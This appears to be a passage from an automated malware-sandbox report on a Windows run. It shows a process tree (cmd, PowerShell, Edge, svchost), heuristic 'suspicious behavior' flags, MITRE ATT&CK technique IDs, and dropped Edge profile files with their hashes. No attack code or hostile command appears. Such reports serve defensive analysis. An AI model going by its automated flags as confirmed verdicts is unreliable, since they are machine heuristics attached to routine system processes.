- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:3876
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:5112
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:5936
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:5912
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:5960
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:5976

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3376

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3132

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:4908

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --default-search-provider=? --out-pipe-name=MSEdgeDefault1ab68fcdh54e1h4da2hb416h759e3474e0fc
1⤵
PID:856
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ffa6dec46f8,0x7ffa6dec4708,0x7ffa6dec4718
  2⤵
  PID:6008
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2168,4057830303790939665,9677377130975329922,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2180 /prefetch:2
  2⤵
  PID:860
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2168,4057830303790939665,9677377130975329922,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2232 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5804
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2168,4057830303790939665,9677377130975329922,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2992 /prefetch:8
  2⤵
  PID:864

C:\Windows\system32\CredentialEnrollmentManager.exe
C:\Windows\system32\CredentialEnrollmentManager.exe
1⤵
PID:3932

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:4040

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k WbioSvcGroup -s WbioSrvc
1⤵
- Drops file in System32 directory
- Suspicious use of AdjustPrivilegeToken
PID:6136

C:\Windows\System32\UserAccountBroker.exe
C:\Windows\System32\UserAccountBroker.exe -Embedding
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
PID:6116

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2644

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
b8880802fc2bb880a7a869faa01315b0

SHA1
51d1a3fa2c272f094515675d82150bfce08ee8d3

SHA256
467b8cd4aacac66557712f9843023dcedefcc26efc746f3e44157bc8dac73812

SHA512
e1c6dba2579357ba70de58968b167d2c529534d24bff70568144270c48ac18a48ee2af2d58d78ae741e5a36958fa78a57955bd2456f1df00b781fc1002e123d2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
ba6ef346187b40694d493da98d5da979

SHA1
643c15bec043f8673943885199bb06cd1652ee37

SHA256
d86eec91f295dfda8ed1c5fa99de426f2fe359282c7ebf67e3a40be739475d73

SHA512
2e6cc97330be8868d4b9c53be7e12c558f6eb1ac2c4080a611ba6c43561d0c5bb4791b8a11a8c2371599f0ba73ed1d9a7a2ea6dee2ae6a080f1912e0cb1f656c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
504B

MD5
e562860fa72ef709e25b0445a152385f

SHA1
d2696b66543dab703d0ae3d05f0dc1dffc4f4b23

SHA256
7c38047468b5773a6b3a9166dd31cf80335e581134387d3bfa2b262667b47658

SHA512
0bd5a295900a357947b255745eeaddcaab6fc056d27ccec6073c11cdefcf47774cec655ccd963fab01e881028734dbf876ff0ac56bb5235d1823bc4b9c498557

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Favicons

Filesize
20KB

MD5
4c39f20c66e17a5d33a35acc1747de8b

SHA1
735e19f95eadbf7ea52229e87831dbd7e9568ad3

SHA256
61fb627da52bcfe662cf19a375d971ab63516adbad6f7d66fff7c13035bd6d9e

SHA512
860210118d0f63d1794a0db0cbbfb52ecaa73eb580be1978707951667ce383ce2fc8d5ff6d2250c34bcb5b32e77341e55a9f58d1b917e51c97811e7210eb7c96

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\History

Filesize
124KB

MD5
12eaf4ad75e4004649859531cecb1885

SHA1
c9bf310c74c350837eb563c66574df6c4b5f1ab9

SHA256
d59150e54f72135109823448cb1fff67ae1d32bf5b18ad5494967bcb37acd545

SHA512
3eac84c9233e4633daf35ddfa48490c843cd4f8e9dde0dd0f861d12507c8b44ccb709ccae5673c73da00767e4f48576de842161752f3534860501e5555be9704

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
323B

MD5
a5a1149047729a493b1a2a65063c39ba

SHA1
8f1f45cb0c0772dcd05795734cbf408636fb9fb9

SHA256
e0ef1f906ea2606c802310437fe799d93e073770ab6549060ee4b9c9c49f2006

SHA512
8ce257a087115e2d542657a2b4679d0c100ebdec76e3392cff1bbba133e129f2fcdbd73f9baab92e762bef47a2572d3dc8553fa3858d787d2a0b2bf8f05dc54e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
0ff90417db7afa870019e31fa7ed80dd

SHA1
168c287ecf6d0aa7593076c2497b5e9f797630d6

SHA256
e42687aaee7f89310dad72748767825f1b0eab4311a8e1f0c8621340c89e385f

SHA512
5bee45acba8179a8b491ec1d6b6de50d3c21dd45a40af0e4f219e0e59e4f3dbbfa1aec86d2fd1c66b010eca77a3f73d7e5e588f9a59b419d59b59395186759aa

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
f576cb9e13b201212f9b605ca01b59a2

SHA1
af8b4e33de4d811a2872ef0177531c2da5ab4add

SHA256
04075ffc943f87613fc45ead519b1c2642be9df3bf6e58ac19b2a36bded25893

SHA512
4a6af8c4b95c6ef6d50e23160e670b68eb35541e2b2240d64949a430d12aac560e6c2bdf742e85b6e084eda4411d828dae294d5d9430a79edcf5c4666fded3ba

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
2554b2de38f587516bf81b21636bd634

SHA1
88fa166ea8c695a8df75d0f1e485f3d9818279ff

SHA256
d2e2c080c84a2d5dd15e747e6cbd634f7a160a18c20c33aeede8f8c1d145c2ed

SHA512
35f401d396bb77d1aa294fca62bb07b370841d4bd8a9d34f6e480d550c27fc79dcf61ddb82177ed7c5960bae2c28e58aad1b5b756a167f70702499d56f9ab257

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\000003.log

Filesize
112B

MD5
61660f82cc6236dab93aa15f1bf78a8d

SHA1
d6cee2eca8222d5f2ff38cd54be5d9d82692b09d

SHA256
48ccc59ca66ed188edc68fcc91c99c895651bba15deda2f8bf1c9214e6ef39e4

SHA512
de8d07d723b75cb0484cf4915361763b010f0ca8a4ef03040fba4c93a0c2f8a8182bfd5e6e90a28e46f45cf3cce086ada7546b762fc8618d1474a2221ccd88b8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Filesize
347B

MD5
59f999a955ec12c1352ebbaacd49b129

SHA1
7531546bc5df0da9b5bb2a081963dca7ac992941

SHA256
37c9cbbaaf2010b1bb0dded08c851e9411e6ed4910e82e3df0e484331e1577e7

SHA512
e823f56a944ece86dd15f419139284da3bd4c064196fd347335ac61a907645e70bf171c12213fafbd8c9994bc91da3613fa21c4574eda31aaaee9ba220666ba3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Filesize
323B

MD5
8093a319521993e5c56fb75f26b0183f

SHA1
d9e2ee20217782c6578cf117522381a91fde42e4

SHA256
554cfcf7f6258df8ffb6c32fdf15232ff810ee3a2bf0417c3cd0bb5791e4d81b

SHA512
c58f3164e70b5329c6b24920dcfeac4ef7839aa9d28eb86a0ffdf1347a9bb90c8a7ed3253f844b1c49b53cad93ee13b01c1c7d9d532797cf93f0ff17760b77e7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Visited Links

Filesize
128KB

MD5
2374ca7d6f74b8c789bb2f7b998f12d2

SHA1
f25ea30e5dbeb1583c4d770e741f7648388345ab

SHA256
44eaa9c5985c3a7a6b667b30a0ac223dc04c4a0d75d191b3f1f29203500df011

SHA512
0c6c2c6064ed58bf23041391d2bcc89590c4922a9a420d23d220f629f064a3888df62cab83ab64618dc20e1247ce9c52251edd35ccaba3e984fe2046663109f8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
206702161f94c5cd39fadd03f4014d98

SHA1
bd8bfc144fb5326d21bd1531523d9fb50e1b600a

SHA256
1005a525006f148c86efcbfb36c6eac091b311532448010f70f7de9a68007167

SHA512
0af09f26941b11991c750d1a2b525c39a8970900e98cba96fd1b55dbf93fee79e18b8aab258f48b4f7bda40d059629bc7770d84371235cdb1352a4f17f80e145

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
46295cac801e5d4857d09837238a6394

SHA1
44e0fa1b517dbf802b18faf0785eeea6ac51594b

SHA256
0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443

SHA512
8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Last Version

Filesize
11B

MD5
838a7b32aefb618130392bc7d006aa2e

SHA1
5159e0f18c9e68f0e75e2239875aa994847b8290

SHA256
ac3dd2221d90b09b795f1f72e72e4860342a4508fe336c4b822476eb25a55eaa

SHA512
9e350f0565cc726f66146838f9cebaaa38dd01892ffab9a45fe4f72e5be5459c0442e99107293a7c6f2412c71f668242c5e5a502124bc57cbf3b6ad8940cb3e9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
02b5e673756c189afba08040ccf7559b

SHA1
9ed224000b5339db875e865082131573e6489084

SHA256
9bfe202a65e5b7deef0b9289af04a936c07147b68fa4ad9b2c0ca607dd10cd4c

SHA512
b7f9d9f1718ed3e8875204373be685421be18c090ce3de6516abf80e2398738827b7fb46b53be4754e3b5af1b2e6fd829c4b1603de90c88136663b7fc9be1124

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
10KB

MD5
b38430862bfacb0e0c839b4bbacda29d

SHA1
29ff513129430241188c88a73b281f01f82a86c9

SHA256
ec9d80d17eee29f18f4ca24b37ebfeb505935f3c2cdcef4fa4ea052929a15578

SHA512
6937fc7a48d4eaea9df807fc0d063cd61be1e3f061664f36ddbea7ccab9c48a302051f82fdf137d2bbe2e135bc260cf7453fe70083dc2e1f962a9423a5322f43

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
10KB

MD5
d44bfd31997141b19bdf0893b7f806ba

SHA1
dbad8e604f89b48e68724e6a2c44e064590a7a03

SHA256
063ffee5b4cd3eda377263f3b4ce614f74825ab220e3116aa7a4bc2331b583dd

SHA512
5c85e3802ee1b2e3db935429d59071e7f1dcfe08784e7927145b3d52ab792b8da4be3fb41c9b99eeaa2d71386f387d66a8a752d33703f7fb4f25c03a2ea2250d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\ShaderCache\GPUCache\data_1

Filesize
264KB

MD5
e556a46ecc22e3f27564ac4dc537e5a3

SHA1
bd8ca04fed2da37edbd28153846e357d90bcb6c3

SHA256
25c77d40aa6f261cc3c028451ba5cf958e6e84f318d25e052db0b450a8dee300

SHA512
d2ec7e39a24bc8039b65fbd800b99a395a0f46d5cb38eff21988d699fe3a94acd75b42f0667b756ab29edbd10d5e2e52034e2367e137e062429cd1a61735cf68

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\edge_shutdown_ms.txt

Filesize
4B

MD5
9406efb8585f4c68700426f94887d39b

SHA1
8a01aae3938096d1a680e96f9a3cfb73ef99b03c

SHA256
1abb8f9f07198cf1adda116de68a2fa1ef1c136bf0a38d25d0d9289264a51106

SHA512
5701f0a0065e87325136c9d90fdc21324dbde27a49d434acc2bf09141eb54ca79fad60dfb79889e5a13dd935ae1b8ce8e2fb9f4396c27a8840e1e0416769addf

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dgnrzkek.t1r.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2644-437-0x00000283EBBC0000-0x00000283EBBE2000-memory.dmp

Filesize
136KB

Download
memory/2644-447-0x00000283EC0B0000-0x00000283EC0F4000-memory.dmp

Filesize
272KB

Download
memory/2644-448-0x00000283EC180000-0x00000283EC1F6000-memory.dmp

Filesize
472KB

Download